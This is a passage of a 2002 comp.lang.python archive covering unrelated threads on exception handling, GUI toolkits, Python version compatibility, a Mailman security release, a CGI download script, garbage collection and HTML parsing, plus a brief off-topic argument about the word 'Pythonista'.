nothing about possible subclass methods - they don't and can't even exist in an object of the parent class. Basic inheritance. If you knew that the instance data was compatible between the two object types you could do some meta-class hacking (e.g., assigning to __class__) to try to get Python to call a different set of class methods for the object instance, but I really don't think that's appropriate for something like this. The right approach is to create the appropriate subclass of jabber.Message before putting it into the queue. Your retrieval code won't have to worry which subclass it is, since they'll all have the Handler function and will be dispatched appropriately. So from the info in your original post, it sounds like your connection object is the one that should be determining what sort of object instance to create (e.g., FooMsg) and creating an instance of that to post to the queue rather than jabber.Message. -- -- David -- /-----------------------------------------------------------------------\ \ David Bolen \ E-mail: db3l at fitlinxx.com / | FitLinxx, Inc. \ Phone: (203) 708-5192 | / 860 Canal Street, Stamford, CT 06902 \ Fax: (203) 316-5150 \ \-----------------------------------------------------------------------/ From dalke at dalkescientific.com Thu May 9 12:59:01 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Thu, 9 May 2002 10:59:01 -0600 Subject: "a better input" References: <aaiu6e$pfr$1@bob.news.rcn.net> <080520021314438230%alexis.layton@post.harvard.edu> <AroC8.39639$zW3.427130@news1.tin.it> <lklmatvdfn.fsf@pc150.maths.bris.ac.uk> <1_tC8.40668$zW3.442583@news1.tin.it> Message-ID: <abe9us$kn5$1@slb6.atl.mindspring.net> Alex: > def isThisAComplexLiteral(this): > try: complex(this) > except: return False > else: return True Minor point. "except ValueError:" instead of "except:" as in try: complex(this) except ValueError: return False else: return True > Of course, the real approach is less silly: > > def cooked_input(astr=None): > if astr=None: astr=raw_input > for atype in int, long, float, complex: > try: return atype(astr) except ValueError: pass # I changed this line > else: > return astr There may be some exceptions those throw besides ValueError, but I don't know of any, and I just scanned floatobject.c and intobject.c to veriy those cases. My worry about "except:" is that it ignores KeyboardInterrupt (if done at just the right/wrong time) and gives false results for typos, like complx(s) (raises a NameError, which is caught by the exception and turned into a False. It's catchable in testing, but not as easy to identify as a traceback which points out the error location. Andrew dalke at dalkescientific.com P.S. And 'True' and 'False'? Nothing like cutting edge CVS Python :) From aleax at aleax.it Mon May 6 04:04:02 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 06 May 2002 08:04:02 GMT Subject: Python Cookbook (printed) References: <3cd472d2$0$8508$cc9e4d1f@news.dial.pipex.com> <3CD479DC.67155DE4@bellatlantic.net> <mZ4B8.5120$zW3.135839@news1.tin.it> <3CD581AF.2070202@earthlink.net> Message-ID: <SNqB8.8391$CN3.320093@news2.tin.it> Ron Stephens wrote: ... > I need some more time to fully absorb Boudewijn Rempt's book on Gui > programming with the QT Toolkit. By the way, Shawn Gordon is putting out > feelers to see if there is enough demand to do a re-printing, as the > Kompany has sold out of the first printing. What's theKompany gotta do with it? I think you misunderstood Shawn's message (on the Ba list) -- theKompany had a few copies, they sold those and are trying to see if people are interested in buying copies from them. I don't think the first printing's sold out (BR can no doubt confirm or deny that). > My advice is that if for anyone interested in GUI programming, the book > is well worth it. Especially if one is willing to buy the Black Adder > GUI painter and IDE. Yes, Qt and PyQt are interesting indeed and BR's book a useful book. I'm _still_ confused about Qt's exact licensing conditions, particularly for non-X versions, but maybe that's just me. Technically, Qt is a very large and not terribly simple GUI-and-not-just-GUI library, and I'm not sure I'd be terribly happy with the prospect of programming it in C++ directly, but PyQt is definitely OK -- Python helps a lot in controlling complexity. Haven't used BA much, even though I purchased a personal copy when I also ordered BR's book, because I need to use Qt 3, which PyQt supports just fine but BA doesn't (hopefully "doesn't yet" -- it's still a beta BA that I have, after all). QDesigner for painting, and making Python source out of the resulting .ui XML file, seems to work fine for my needs with Qt 3, though. Alex From pakman4321 at hotmail.com Mon May 27 19:00:30 2002 From: pakman4321 at hotmail.com (pakman) Date: Mon, 27 May 2002 23:00:30 GMT Subject: fonts in idle Message-ID: <iUyI8.99502$Ze.15252@afrodite.telenet-ops.be> i use the idle-environment to experiment with python, but the fonts are ugly. I work on a redhat 7.3 distro, installed it on a desktop and a laptop (ibm-iSeries 1400). I don't have the problem on the desktop machine, although i installed from the same cdroms. What can i do? tx From barry at zope.com Mon May 20 14:07:58 2002 From: barry at zope.com (Barry A. Warsaw) Date: Mon, 20 May 2002 14:07:58 -0400 Subject: RELEASED Mailman 2.0.11 Message-ID: <15593.15230.241343.266239@anthem.wooz.org> I've just released version 2.0.11 of Mailman, the GNU Mailing List Manager. Mailman is released under the GNU General Public License (GPL). Version 2.0.11 fixes two cross-site scripting vulnerabilities. I recommend that folks upgrade their 2.0.x systems to this new version. GNU Mailman is software to help manage electronic mail discussion lists. Mailman gives each mailing list a unique web page and allows users to subscribe, unsubscribe, and change their account options over the web. Even the list manager can administer his or her list entirely via the web. Mailman has most of the features that people want in a mailing list management system, including built-in archiving, mail-to-news gateways, spam filters, bounce detection, digest delivery, and so on. Mailman is compatible with most web servers, web browsers, and mail servers. It runs on any Unix-like operating system. Mailman 2.0.11 requires Python 1.5.2 or newer. To install Mailman from source, you will need a C compiler. For more information on Mailman, including links to file downloads, please see the Mailman web page: http://www.gnu.org/software/mailman And its mirrors at: http://mailman.sourceforge.net http://www.list.org Patches and source tarballs are available at http://sourceforge.net/project/showfiles.php?group_id=103 There are email lists (managed by Mailman, of course!) for both Mailman users and developers. See the web sites above for details. Cheers, -Barry From jjl at pobox.com Sun May 12 11:54:34 2002 From: jjl at pobox.com (John J. Lee) Date: Sun, 12 May 2002 16:54:34 +0100 Subject: Iterating over the cells of an array? (fwd) Message-ID: <Pine.SOL.4.30.0205121652180.7173-100000@mimosa.csv.warwick.ac.uk> > On Sun, 12 May 2002, Alex Martelli wrote: [...] > > Chacking isn't all that expensive, is it? [...] > If the array is not contiguous, though, it will make a copy. Oops, I missed the context of your answer, sorry: I see your point now. There I was, thinking I'd found a bug in the Alex-bot. John From loredo at astro.cornell.edu Fri May 24 14:39:55 2002 From: loredo at astro.cornell.edu (Tom Loredo) Date: Fri, 24 May 2002 14:39:55 -0400 Subject: might compatibility become a *goal*? References: <1021652963.460304@cswreg.cos.agilent.com> Message-ID: <3CEE88FB.FD07C690@astro.cornell.edu> My impression, as a heavy user since 1.5.2, is that the Python dev crew have bent over backwards to maintain backward compatibility in the sense of having old code run under new versions, and have also been very cautious and conservative regarding adding new features that would prevent new code from running under old versions. Having watched the discussion surrounding many of these choices over the past 3 years or so, I have to say that I am extremely impressed by the insight and wisdom shown by the developers as a community. Sometimes it has taken me a while to appreciate their reasoning, but I can't think of a case where I didn't come to agree with them, if not immediately, then at least after living with the change a while. I think for this discussion to be useful, you need to distinguish between the meanings of "backwards compatibility" and be specific about any changes that have bothered you. -Tom Loredo From wilk at flibuste.net Fri May 31 12:50:04 2002 From: wilk at flibuste.net (William Dode) Date: Fri, 31 May 2002 18:50:04 +0200 Subject: wxPython, py2exe References: <3CF7819F.5AF9E42D@ipm.fhg.de> Message-ID: <20020531185004.72bee1d4.wilk@flibuste.net> Le Fri, 31 May 2002 15:58:55 +0200 Markus von Ehr <markus.vonehr at ipm.fhg.de> ?crivait: > Hi, > > I', using Tkinter right now and would like to change to wxPython > for better capabilities (win32). Does the py2exe tool work fine > with wxPython? > I need graphical support (viewing images, drawing, openGL, etc.), > does it work well with wxPython? Yes it works, you can see an example here : http://flibuste.net/pythreries/pyseen (picture viewer) > > Thanks for comments, > > Markus > > -- William Dod? - Informaticien Ind?pendant http://www.flibuste.net From dsavitsk at yahoo.com Sun May 5 14:01:04 2002 From: dsavitsk at yahoo.com (dsavitsk) Date: Sun, 5 May 2002 13:01:04 -0500 Subject: making python scripts backwards compatible References: <mailman.1020559148.21358.python-list@python.org> Message-ID: <ab3rlq$edl$1@news.doit.wisc.edu> this begs the question, why not put a comment that announces what version you, the author, used to write the code? This at least puts the user on notice. -d "Ken Seehof" <kseehof at neuralintegrator.com> wrote in message news:mailman.1020559148.21358.python-list at python.org... > Shaleh wrote: > > On 04-May-2002 J.Jacob wrote: > > > I would like to make a request. > > > > > > Today I spent again some time converting python code. It > > > was in the SimpleXMLRPCServer.py file. I wanted to use it > > > remotely on another computer but it gave errors because of > > > list comprehension and using the "".method() syntax > > > instead of importing string. The reason was that other > > > computer was still running python 1.5.2. I could not > > > upgrade the remote computer (no root access) and even if i > > > could the problem would come up soon again when the > > > (mobile agent-)program relocated. > > > > > > > I agree, it is quite annoying. > > > > It is pretty easy to write a python script to catch a lot of > > this. += and its > > friends can be programmatically turned into a = a + .. same goes > > with string > > methods. > > > > list comprehensions however require human intervention. A bigger > > problem is > > the change in scope rules. > > > > I find it particularly annoying that the python group makes this > > assumption we > > are all running last week's python. Not everyone owns the machine their > > scripts run on. > > That's a nice sentiment, but you need to keep in mind who creates > the code you are complaining about. > > Occaisionally I make something available as open source. Generally > the software is something I wrote to solve a particular problem for > me. If I don't need it to run on python 1.5.2, it doesn't. If I > had a policy of making all my code run on 1.5.2, I would simply > never download newer versions of python. But I happen to like > some of the new features. > > On the other hand, if people want their code to be usable by > others it doesn't hurt that much to make it run on some more > recent version. Also, if you pay me to write python code for > you, I will use whatever version you want. > > Making python programs run on 1.5.2 means not using any python > enhancements created in the last few years. For some volunteer > programmers, that's too high a price to pay. > > Perhaps a better solution in the long run would be to encourage > everyone to make sure none of their code runs on old python > versions. This will eventually pressure people to upgrade :-) > > This thread reminds me of a customer who was unwilling to upgrade > his CP/M machines, and was really annoyed that anyone would > create any of them newfangled machines :-) > > Speaking of which, when's python for the Kaypro coming out? > > Time marches on-ly yrs, > - Ken > > > From wilk at flibuste.net Fri May 17 16:11:33 2002 From: wilk at flibuste.net (William Dode) Date: Fri, 17 May 2002 22:11:33 +0200 Subject: pygtk vs. wxPython References: <3CE4E081.10908@thomas-guettler.de> Message-ID: <20020517221133.269653ed.wilk@flibuste.net> Le Fri, 17 May 2002 12:50:41 +0200 Thomas Guettler <zopestoller at thomas-guettler.de> ?crivait: > Hi! > > I investigated during the last weeks which is better: > +pygtk or wxpython. > > After programming some code with both libraries, I prefer > pygtk. > > I prefere pygtk because wxpython has an extra layer in > the library stack: Look at fox library, i think it doesn't need any external library on both unix and windows http://fox-toolkit.org/ > > wxpython -- wxwindows -- wxgtk -- gtk > > pygtk -- gtk > > Do others share or disagree with this oppinion? > > > How well does pygtk run on windows? > > The FAQ: > > ""1.4. Where can I get PyGTK for Windows? > (Assuming you really want to do this, you should be aware that > PyGTK works reasonably well on Windows, much to the credit of GTK+, > Python and PyGTK developers and porters) > ... > """ > > Has some one experience with pygtk on windows? > Which problems did you have? > > thomas > -- William Dod? - Informaticien Ind?pendant http://www.flibuste.net From sholden at holdenweb.com Thu May 9 17:06:33 2002 From: sholden at holdenweb.com (Steve Holden) Date: Thu, 9 May 2002 17:06:33 -0400 Subject: [Survey] Py Feedback References: <3cd9a9d9.196458672@news.newsguy.com> <JkuC8.40762$zW3.443875@news1.tin.it> <3cdaa645.261079192@news.newsguy.com> <slrnadljl2.e1e.akuchlin@ute.mems-exchange.org> Message-ID: <pABC8.45707$m26.34289@atlpnn01.usenetserver.com> "A.M. Kuchling" <akuchlin at ute.mems-exchange.org> wrote ... > In article <3cdaa645.261079192 at news.newsguy.com>, Bryan Richard wrote: > > you don't make a lot (if any) from the newsstands. it's more to > > sweeten the deal for advertisers and the world of Python advertising > > seems somewhat thin. > > The pool of potential advertisers for Python also seems small. > There's O'Reilly, Zope Corp., ActiveState, PythonWare, TheKompany, > Archaeopteryx, and that's about it; too few to support a glossy > publication. I'd suggest just leaving it a self-supporting 'zine, or > pursuing the idea of a supplement to some other publication. (I > haven't seen Py yet, but do intend to subscribe as soon as I have a > stable address again.) > I hope this doesn't mean your horse is currently living in a mobile home? still-computing-2**10000000-ly y'rs - steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From shippy at nmt.edu Thu May 9 18:38:46 2002 From: shippy at nmt.edu (Jeff Shipman) Date: Thu, 09 May 2002 16:38:46 -0600 Subject: downloading cgi advice Message-ID: <3CDAFA76.9050508@nmt.edu> I've got a cgi which handles downloading files to a person's computer. Files of type .tar.gz and .exe go through this CGI. These are some snippets I have from the program: # Determine size of file try: s = os.stat(BASEDIR+'/'+loc) size = int(s[6]) except OSError: errmsg('Couldn\'t stat() file!') except: errmsg('Unexpected error while calling stat()!') # Initiate download logline = 'Host: %s - Initiating download for file %s of %d bytes.' \ % (gethost(), loc, size) log(logline) print 'Content-disposition: attachment; filename=%s\n'\ 'Content-type: application/octet-stream\n'\ 'Content-length: %d\n' % (loc, size) try: file = open(BASEDIR+'/'+loc, 'rb') except: errmsg('Couldn\'t access download file!') sys.stdout.write(file.read(size)) file.close() This seems to work fine, but I'm just wanting to make sure that I'm not doing anything that could be wrong here. Thanks in advance for any advice! -- Jeff "Shippy" Shipman E-Mail: shippy at nmt.edu Computer Science Major ICQ: 1786493 New Mexico Institute of Mining and Technology Homepage: http://www.nmt.edu/~shippy From shoot at shootclub.com Wed May 29 16:31:26 2002 From: shoot at shootclub.com (Shootclub Webmaster) Date: 29 May 2002 13:31:26 -0700 Subject: windows-python-question References: <ad2oo9$d55fq$1@hades.rz.uni-sb.de> Message-ID: <6ef58307.0205291231.3122e428@posting.google.com> import os os.system("start c:\\path\\filename.ext") If the appropriate association between the extension and application is made then the 'start' command should work for you. Good Luck, Shootclub Webmaster shoot at shootclub.com http://shootclub.com Uwe Schmitt <uwe at rocksport.de> wrote in message news:<ad2oo9$d55fq$1 at hades.rz.uni-sb.de>... > Hi, > > I'd like to write a python-program which is startet under Win when > a file with an apropriate extension ('.rnt' for example) is > double-klicked. How does my python-program know which file was > clicked so that my program can load it ??? > > Greetings, Uwe. From martin at v.loewis.de Sun May 19 07:13:38 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 19 May 2002 13:13:38 +0200 Subject: Exponential time increase in garbage collection References: <5.1.0.14.0.20020518175555.036e7eb0@mail.digitome.com> <20020518160006.23202.88409.Mailman@mail.python.org> <5.1.0.14.0.20020518175555.036e7eb0@mail.digitome.com> <mailman.1021802191.2409.python-list@python.org> Message-ID: <m3vg9kie59.fsf@mira.informatik.hu-berlin.de> Sean McGrath <sean.mcgrath at propylon.com> writes: > I'm seeing curious figures (included below). Basically, > Python 1.5.2 exhibits a big difference in deletion time for > objects loaded via cPickle as opposed to pickle.py My guess is that there is some large dictionary somewhere that is cleared with a foolish algorithm such as k = d.keys() while k: del d[k[k]] del k[0] I believe that this algorithm has performance characteristics similar to the one you describe. Regards, Martin From aahz at pythoncraft.com Thu May 2 12:45:54 2002 From: aahz at pythoncraft.com (Aahz) Date: 2 May 2002 12:45:54 -0400 Subject: Python vs. Perl, which is better to learn? References: <mailman.1020147892.13578.python-list@python.org> <9F74AA1B18A57488.23FAAF6892B1E10D.AAAE27FF654FB148@lp.airnews.net> <82znzjsw6k.fsf@acropolis.localdomain> <6bdA8.54737$Au5.4014@atlpnn01.usenetserver.com> Message-ID: <aarqg2$cqt$1@panix1.panix.com> In article <6bdA8.54737$Au5.4014 at atlpnn01.usenetserver.com>, Steve Holden <sholden at holdenweb.com> wrote: > >The really interesting thing is the lack of noise from the VB community >about that, while the poor Python development team have to suffer howls of >anguish just to get True and False into the language ;-) Simple answer: baaa! baaa! Now, what would you rather be, sheep or wolf? -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "I used to have a .sig but I found it impossible to please everyone..." --SFJ From peter at engcorp.com Fri May 31 00:12:49 2002 From: peter at engcorp.com (Peter Hansen) Date: Fri, 31 May 2002 00:12:49 -0400 Subject: Time in python References: <3cf6495d_1@news.iprimus.com.au> <3CF6D087.DB6CF4D8@bellatlantic.net> <3CF6DB3C.731E1DD@engcorp.com> <3cf6f4c8$1_1@news.iprimus.com.au> Message-ID: <3CF6F840.7D85316C@engcorp.com> tritran wrote: > > I mean we have a directory and that directory contain some of the file, I > want to sort the file according to the time and may be i like to seperate > the file and the time into 2 parts in order to display in the table like > ------------------------------------------------- > |File Name | Date | > ------------------------------------------------- > |file1.txt | 28/05/2002 6:30 | > ------------------------------------------------ A combination of Ken's answer, something from the 'time' module, and os.listdir() should do the trick. What have you tried so far? Maybe we can help you with improving it. -Peter From jeremy at jdyallop.freeserve.co.uk Thu May 16 04:43:39 2002 From: jeremy at jdyallop.freeserve.co.uk (Jeremy Yallop) Date: 16 May 2002 08:43:39 GMT Subject: Beginner: HTML Parsing References: <abunna$9s2$1@slb2.atl.mindspring.net> Message-ID: <abvrfr$licfd$1@ID-114079.news.dfncis.de> * J. David Lashar | As a beginner, I'm working through the O'Reilly books mentioned in an | earlier posting, but I haven't found much guidance on parsing an HTML file | once I've pulled it down with httplib. And I'm finding the Python Library | Reference to be a bit cryptic. Could someone point to resources or provide | examples? You might find chatper 4 of `Dive into Python' helpful: http://diveintopython.org/dialect_divein.html From gerhard.reuteler at aon.at Wed May 8 17:02:38 2002 From: gerhard.reuteler at aon.at (Gerhard Reuteler) Date: Wed, 08 May 2002 23:02:38 +0200 Subject: turtlegraphics conversion to postscript? Message-ID: <3cd9913c$0$34296$6e365a64@newsreader02.highway.telekom.at> I'm using the tkinter turtlegraphics package. Is it possible to have these graphics converted to a postscript file for nice printing? Best regards From aleax at aleax.it Mon May 13 08:34:23 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 13 May 2002 12:34:23 GMT Subject: OT: Crazy Programming References: <mailman.1021198403.21335.python-list@python.org> <chris-55B5FD.02324413052002@corp.supernews.com> <9LJD8.34714$CN3.1229512@news2.tin.it> <3CDF9BFA.5030107@mxm.dk> Message-ID: <jpOD8.35822$CN3.1273364@news2.tin.it> Max M wrote: >> Imagine two painters. One spends half his time at arts supplies stores, >> checking out the tiniest differences between different models of >> brushes, different brands of paint, canvases prepared with minutely >> distinct processes yielding minute roughness and absorption differences, ... > So there really is a lot of craftsmanship in writing good code. There can be -- as there can be in painting. But given a finite amount of time and energy to spend on all kinds of issues altogether, what IS the allocation of these "scarce resources" that's likely to have the higher overall returns -- spend more time/energy on worrying about what kind of brush is fractionally better, or on what to portray and how? The overall cultural bias of today is towards "gadget-o-mania" -- the quest for the Silver Bullet, the gadget / trick / technology / toy that will solve every problem. And, sure, the technology does matter, A BIT. A good golfer uses good clubs, a good runner good shoes, a good bridge player a good bidding system, a good "human networker" uses a good mobile phone, a good coder uses good idioms of his or her chosen programming language. But it's easier to overdo the attention to such tool-level details, than to make the opposite mistake. I've seen too many bridge players worrying to death about a pluperfect bidding system rather than choosing a solid, sensible one, and focusing on using it effectively in real life, which is in fact a far more important task. Golfers tell me the same about their ilk, runners about theirs, etc -- and again from personal observation the same phenomenon is amply in evidence in programming, too. I sympathize -- the tools-level part is just SO interesting and fun, I, myself, would be quite prone to spend all my bridge-available time and energy on bidding-system issues, all my programming-available time on clever idioms, classes, extensions &c, and so on, and so forth. Exactly *because* overdoing the tools-level concerns is by far the likelier trap, Python's culture, that de-emphasizes them in favour of real design and architecture issues, is such a boon to most of its practitioners. *Do the simplest thing that can possibly work*. Alex From newsfroups at jerf.org Wed May 22 01:15:33 2002 From: newsfroups at jerf.org (Jeremy Bowers) Date: Wed, 22 May 2002 05:15:33 GMT Subject: How to know if a popen*() was successful? References: <acc54g$3uo$1@peabody.colorado.edu> <acd04t$aki$1@wanadoo.fr> <acdrg9$21k$2@peabody.colorado.edu> <acdufg$1l36$1@nntp6.u.washington.edu> <ace858$93p$1@peabody.colorado.edu> <3CEAE2F5.5030605@jerf.org> <acf2lv$nor$1@peabody.colorado.edu> Message-ID: <3CEB29B2.6030004@jerf.org> Fernando P?rez wrote: > - under unix, pagers (esp. less) work beautifully and fast, and can even > display syntax highlighted code straight in. So I prefer a fast, efficient > pager with builtin regexp searching over some tk solution which will require > the user to use a mouse (I haven't seen anything in tk with the keyboard > power of less for searching/navigation). Any command line tool which forces > you to go to the mouse for basic functionality is IMHO broken. I'm gonna have to call a foul here. ;-) You're comparing my Tk Windows pager suggestion against Unix pages. I'm only suggesting the Tk Windows pager for Windows use, possibly instead of popping up a Notepad window or something. In Unix, do as the Unixites do. In Windows, you've already lost. > - this is done in my spare time, so I'll maintain windows as long as it > remains a near zero-effort proposition. I'm not going to put any windows > specific code beyond 'if I'm in windows, use builtin pure python defaults'. I > simply can't test windows code much, I boot into it once in a blue moon. What I'm suggesting is something like this, in 2.2: from ScrolledText import ScrolledText from Tkinter import NORMAL, DISABLED, BOTH class SimplePager(ScrolledText): def __init__(self, master=None, cnf=None, **kw): ScrolledText.__init__(self, master, cnf, **kw) self.state = DISABLED def setText(self, text): self.state = NORMAL self.delete("1.0", END) self.insert("1.0", text) if __name__ == "__main__": import this root = Tk() sp = SimplePager(root, width = 80, height = 25) sp.pack(fill = BOTH, expand = 1) sp.setText((this.s.decode('rot-13')+"\n\n")*25) root.mainloop() And if I could figure out how to safely suck those pack options into the SimplePager class, I would. (Note ScrolledText is built-in with the latest TK stuff, and if you're comfy with TK, this whole class is redundent; you can use ScrolledText directly.) From shredwheat at attbi.com Wed May 8 12:21:12 2002 From: shredwheat at attbi.com (Pete Shinners) Date: Wed, 08 May 2002 16:21:12 GMT Subject: Comments References: <Pine.LNX.4.33.0205081059490.3639-100000@vampire.cs.utexas.edu> Message-ID: <3CD95047.5000409@attbi.com> Rajat Chopra wrote: > Does anyone know if Python supports multi-line comments? I believe Java > and C++ (and even non-ANSI C) have /* ... */ for multi-line. Does Python > have anything comparable? there is no multiline comment. sometimes you can 'cheat' this by using multiline strings... """ myfile.py used to create all manner of neat functions blah(x,y,z) changelog: joe on 1-1-01: added neat funcs mark on 1-2-01: removed neat funcs """ From mwh at python.net Tue May 7 04:51:07 2002 From: mwh at python.net (Michael Hudson) Date: Tue, 7 May 2002 08:51:07 GMT Subject: XML: minidom toxml() does not work for non English files! :-( References: <kn37du83tagqt7obtdq89pfsbk8iuqdtk2@4ax.com> <mailman.1020715513.14598.python-list@python.org> <m38z6w353o.fsf@mira.informatik.hu-berlin.de> Message-ID: <lkelgo1gpw.fsf@pc150.maths.bris.ac.uk> martin at v.loewis.de (Martin v. Loewis) writes: > Trent Mick <trentm at ActiveState.com> writes: > > > Jaroslaw mentions that the problem goes away if he replaces > > ActivePython 2.2.1's StringIO.py with the one from the PythonLabs > > distro. That would be fine (a bug in ActivePython) except that > > ActivePython has the more *recent* StringIO.py. So is Jaroslaw > > misusing StringIO.py or is this StringIO.py checkin incorrect or > > am I confused: > > The most recent StringIO (1.22) has this: > > class StringIO: > def __init__(self, buf = ''): > # Force self.buf to be a string or unicode > if type(buf) is not types.UnicodeType: > buf = str(buf) > > IMO, this is "more correct" than just calling str every time. Except in --disable-unicode builds... Cheers, M. -- MARVIN: Oh dear, I think you'll find reality's on the blink again. -- The Hitch-Hikers Guide to the Galaxy, Episode 12 From whisper at oz.net Wed May 15 03:41:16 2002 From: whisper at oz.net (David LeBlanc) Date: Wed, 15 May 2002 00:41:16 -0700 Subject: Python install on Windows In-Reply-To: <abt16t$kpa1i$1@ID-59885.news.dfncis.de> Message-ID: <GCEDKONBLEFPPADDJCOEGEHADCAA.whisper@oz.net> Neither Wise or Inno-setup are required to _build_ or do a local install of what you've built on Windows. They would be required if you wanted to create a binary distribution with either of those tools. What is required to completely build all components of Python (beyond just the core) on Windows are some 3rd party sources for such things as Tcl/Tk, bsddbm and zlib. Of them, probably bsddbm is the hardest to find exactly the right version, but it's all spelled out in the readme.txt file in the PCbuild directory of the source distro. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Thomas Heller > Sent: Wednesday, May 15, 2002 0:02 > To: python-list at python.org > Subject: Re: Python install on Windows > > > > I downloaded the installer for Python 2.2 from www.python.org > > I just wondered whether the source files for that installation process > > are available and if so, where I can find/get them. I could use it to > > write an unattended installer to install just the interpreter and its > > libraries. > > They are contained in the source distribution. AFIAK, there are a > pcbuild.dsw file (which requires the commercial Wise > InstallBuilder), and the > start of an installation script for the free Inno-setup. > > Thomas > > > -- > http://mail.python.org/mailman/listinfo/python-list From butasan97 at yahoo.com Thu May 23 07:43:49 2002 From: butasan97 at yahoo.com (butasan) Date: 23 May 2002 04:43:49 -0700 Subject: httplib: memory leakage Message-ID: <7de5ee11.0205230343.39fae3cc@posting.google.com> I ran a simple client / server test program and used "top" to monitor the memory usage at the client: at the beginning: PID USER PRI NI SIZE RSS SHARE STAT %CPU %MEM TIME COMMAND 7833 lab 16 0 2532 2532 1588 T 0.0 0.6 0:01 python2.2 when client's variable n = 333000: PID USER PRI NI SIZE RSS SHARE STAT %CPU %MEM TIME COMMAND 7833 lab 18 0 23772 23M 1588 T 11.5 6.1 7:11 python2.2 The garbage collection didn't find any collectable object. I didn't find memory problem at the server. Both client and server are Redhat 7.1 and python 2.2. Do I use gc right? Thank. kk With this client code: import httplib import sys import time import gc n = 1 gc.set_debug(gc.DEBUG_LEAK) gc.set_debug(gc.DEBUG_STATS) gc.set_debug(gc.DEBUG_SAVEALL) gc.enable() while 1: connection = httplib.HTTPConnection('barney-lab:8800') connection.putrequest("GET", str(n)) #send something to server # time.sleep(5) print "n =", n n = n + 1 connection.close() if not n%20: gc.collect() print gc.garbage if gc.garbage: sys.exit() # del gc.garbage[:] The server code: import SimpleHTTPServer import BaseHTTPServer class X(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): print "do get", self.path def run(server_class=BaseHTTPServer.HTTPServer, handler_class=BaseHTTPServer.BaseHTTPRequestHandler): server_address = ('', 8800) httpd = server_class(server_address, handler_class) print "waiting for requests" httpd.serve_forever() run(handler_class = X) From nas at python.ca Fri May 17 17:04:51 2002 From: nas at python.ca (Neil Schemenauer) Date: Fri, 17 May 2002 14:04:51 -0700 Subject: Fatal Python error: GC object already in linked list In-Reply-To: <A7B5C22F20EE3C4E95744E2F03F1887F5678@MAYOR.retzlaff.com>; from jimmy@retzlaff.com on Fri, May 17, 2002 at 01:08:24PM -0700 References: <A7B5C22F20EE3C4E95744E2F03F1887F5678@MAYOR.retzlaff.com> Message-ID: <20020517140451.A28879@glacier.arctrix.com> Jimmy Retzlaff wrote: > The GC threshold doesn't seem to hasten the failure in my case That suggests that the bug was not in the GC code but instead some other code was corrupting memory and the GC was walking into the corruption. > But that gave me the idea to try CVS wxPython, which made the problem > disappear Probably a mxPython bug. Neil From m.faassen at vet.uu.nl Wed May 1 18:15:58 2002 From: m.faassen at vet.uu.nl (Martijn Faassen) Date: 1 May 2002 22:15:58 GMT Subject: Newbie: finding the key/index of the min/max element References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> <mailman.1020219362.31804.python-list@python.org> Message-ID: <aappeu$je0$1@newshost.accu.uu.nl> James J. Besemer <jb at cascade-sys.com> wrote: > Laura Creighton wrote: >> JB wrote: >> > The term derrives from the Sandinistas in Nicaragua, the Communist rebels who >> > fought against the US-installed conservative Somoza dictatorship (and others). >> > >> > The suffix is sometimes used to refere to any contrarian group, and in cases >> > simply any group. >> >> That is simple ignorant American narrow-minded foolishness talking. >> Normally, I would take extreme great care to not say anything so >> offensive, but I have a deep suspcion that James J Besemer is one >> of the 'can't take the heat' folks, and will learn to like a kinder >> and gentler place than the one he proposes to make for Raymond Hettinger >> if he finds out what it is like to live in the place he proposed. > I'm truly sorry that my sincere attempt to answer what I thought was a simple > question caused you to resort to open hostility. I am truly impressed by your > vicisousness. Hey, I've heard there was this Python Secret Underground, a vile conspiracy to control Pythondom and then the universe *itself*. Until forever! Now that's viscious. And it's only simple ignorant American narrow-minded foolishness talking to just assume all Americans are in a group and therefore are collectively foolish and ignorant and narrow-minded! And Laura isn't even American, impressive how broad that group of Americans is! Anyway, I wonder why Laura is wasting her time flaming in a newsgroup while there are so many better things to do. Like arguing with topmind about the benefits of object oriented programming, for instance. Anyway, I might've used the sandinista explanation, before I heard all these Spanish and Italian and Canadian people go on about some weird suffix. Everybody knows Dutch is the preferred natural language for Python programmers, anyway (those who don't are ignorant american narrow-minded fools, no matter what nationality you are). Though I prefer 'pythoneer', which is its own weird suffix, and it comes from French; another latin language, just like Canadian! And Pythoneer is a much less inflammatory word than Pythonista, it must be inherently superior and it's due for a major comeback. Pythoneer-and-proud-of-it-ly yours, Martijn -- History of the 20th Century: WW1, WW2, WW3? No, WWW -- Could we be going in the right direction? From pereira at cis.upenn.edu Sat May 25 13:31:25 2002 From: pereira at cis.upenn.edu (Fernando Pereira) Date: Sat, 25 May 2002 13:31:25 -0400 Subject: Ann: Stackless Limbo Dancing Works Fine! References: <B90D45DB.A63E%pereira@cis.upenn.edu> <ueji35ihipuee3@corp.supernews.com> <B9102353.A917%pereira@cis.upenn.edu> <mailman.1022272724.8315.python-list@python.org> <ueu89e5dafsmb3@corp.supernews.com> Message-ID: <B91542AD.AE55%pereira@cis.upenn.edu> On 5/25/02 1:29 AM, in article ueu89e5dafsmb3 at corp.supernews.com, "Andrew Henshaw" <andrew.henshaw at mail.com> wrote: > The Occam compiler will > prevent that behavior; but, when programming with C (with Transputer > libraries for parallel processing), this technique is used, occasionally. Occam != CSP -- F From doru-cat at ifi.uio.no Wed May 1 06:07:39 2002 From: doru-cat at ifi.uio.no (Doru-Catalin Togea) Date: Wed, 1 May 2002 12:07:39 +0200 (MET DST) Subject: FromXMLString wanted. Message-ID: <Pine.GSO.4.21.0205011153200.4089-100000@sex.ifi.uio.no> Hi! I am doing some pretty basic XML parsing using pyxml. My xml data (not the tags) contains non-english characters. pyxml for ActiveState Python 2.0 did not complain about that even when I did not provid an opening line in the xml file stateing the encoding used, like: <?xml version = '1.0' encoding = 'iso-8859-1'?> Strange, but true, and I could live with that. I have now upgraded to ActiveState Python 2.2, pyxml 0.7, and it complains for the existence of non english characters, EVEN WHEN SPECIFYING THE ENCODING, as above! Strange again, and unfortunatlly I can not live with that. :-) I thought of a hack around it, which would consist of reading in my xml file into a string, replacing 